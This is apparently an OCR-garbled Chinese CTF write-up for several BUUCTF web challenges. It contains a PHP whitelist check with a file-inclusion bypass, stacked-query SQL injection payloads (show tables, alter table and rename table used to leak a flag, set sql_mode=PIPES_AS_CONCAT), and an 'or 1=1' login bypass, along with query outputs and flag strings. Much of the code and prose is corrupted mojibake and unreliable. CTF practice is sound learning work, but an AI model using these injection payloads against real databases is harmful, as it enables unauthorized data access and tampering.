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<?php

highlight file(_ FILE_ );
class emmm

{

}

public static function checkFile(&S$page)

{

$Swhitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {

echo "you can't see it";

return false;

}

if (in_array($page, S$whitelist)) {
return true;

}

$_page = mb_substr(
Spage,
0

r
mb_strpos($page . '?', '?")
)i
if (in_array($_page, $whitelist)) {
return true;

}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0

r
mb_strpos($_page . '?', '?'")
)i
if (in_array($_page, $whitelist)) {
return true;
}

echo "you can't see it";
return false;

if (! empty($_REQUEST[ 'file'])
&& is_string($_REQUEST[ 'file'])
&& emmm: :checkFile($_REQUEST[ 'file'])

)

include $_REQUEST[ 'file'];
exit;
} else {

echo

"<br><ima src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794. ipa\"

/>":
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% b Eicheckfile it 9 2

% $page RIEXEFE $page NAFHFH A, REFalse
M ¢page FET gwhitelist FHNK, R[FETrue
IREL $page H'?' AT E F/FHE CREERIRINER) , REAWREBIE swhitelist FHF, FIEIRMETrue

FL, RAEHST $page #4Turldecode
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Iarray(Z) {
. [0]=>
string(l) "1"
[1]=>
| string(7) "hahahah"
}

array(2) {
[0]=>
string(l) "2"
[1]=>

string(12) "miaomiaomiao”

}

array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
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return preg match("/select|update|delete|drop|insert|where|\./i",$inject);

X M IZ A REREAN. .. (RANREBERZES)
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';show databases;#



array(1l) {

[0]=>

string(1ll) "ctftraining"
}
array(l) {

[0]=>

string(18) "information schema”

}

array(1l) {

[0]=>

string(5) "mysql"
}

array(1l) {
[0]=>
string(18) "performance schema"

}

array(1l) {
[0]=>
string(9) "supersqli"

}

array(1l) {

[0]=>

string(4) "test"
}
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';show tables;#



array(1l) {

[0]=>

string(16) "1919810931114514"
}

array(1l) {
[0]=>
string(5) "words"

}

) 1919810931114514 RFRIFTAEF] ( ZRF B ARZRIENENRE]S)

';show columns from ~1919810931114514 ;#

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0)
[4]=>
NULL
[5]1=>
string(0)
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";alter table "1919810931114514° add “id® INT(11) NOT NULL DEFAULT '1' after "flag ;



array(6) {

}

[0]=>
string(4)
[1]=>

string(12)

[2]=>
string(2)
[3]=>
string(0)
[4]=>
NULL
[5]1=>
string(0)

array(6) {

';rename table words to wordsl

[0]=>
string(2)
[1]=>
string(7)
[2]=>
string(2)
[3]=>
string(0)
[4]=>
string(1l)
[5]=>
string(0)

lIflagll

"varchar(100)"

n NO n

nmn

mn

n id n
"int(11)"
"NO n

mmn

lllll

nmn

rename table

1919810931114514° to words



array(2) {
[0]=>
string(42) "flag{f8b6c6ee-f56f-4lec-b40a-95d52b095066}"
[1]=>
string(1l) "1"

}
array(l) {

[0]=>

string(5) "words"
}
array(1l) {

[0]=>

string(6) "wordsl"
}
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Bxmesws DFFrr Oxamt O mxEs T RS

Give me your flag, | will tell you if the flag is right.
RRE

Array ([0]=>1)

hEgR
BN HEBEAN

1;show tables;
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Bxmesws DFFrr Oxamt O mxEs T RS

Give me your flag, | will tell you if the flag is right.
RRE

Array ( [0] => 1) Array ( [0] => Flag )

hTER...RE—ARK, BEFlag, MMizZiEAKNERSFlagitik, HEKRA
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Give me your flag, | will tell you if the flag is right.
RRE

Nonono.
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select $_POST[query| || flag from Flag
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¥ HE set sql_mode=PIPES_AS_CONCAT; ¥f | | fENEEFT AL 5

& payload

1;set sql_mode=PIPES_AS_CONCAT;select 1
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Give me your flag, | will tell you if the flag is right.
B2 EN

Array ( [0] => 1) Array ( [0] => 1flag{4253d338-2f9f-4dda-8beb-615a192fe7b9} )
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Give me your flag, | will tell you if the flag is right.
RRZEN

Array ( [0] => flag{4253d338-2f9f-4dda-8beb-615a192fe7b9} [1] => 1)
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check.php?username password

Cc © | 4 5bafb9f9-0d35-4bcf-97e5-925940300bfa.node3.buuoj.cn/check.php?username="or 1=1'&passworc B | s ¢ ING@D B & 6 =

KMESER O FELr O %ERL D REHE BangE LMHE

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '" and
password="or 1=1"" at line 1

HPLREE, 2 TEEF admin' or '1'="1
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</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<J=-=
Scat=$ GET[ 'cat'];
echo Scat;
if(Scat=='dog'){
echo 'Syc{cat_cat cat_cat}';
}

-
<div style="position: absolute;bottom: 0;width:
</body>
</html>

mFcatZH K ERdog, BH HKIEEE
TR — cat=dog Kk

flag{8a460b73-847 1-4ae3-a6fd-9afe2da56b84}
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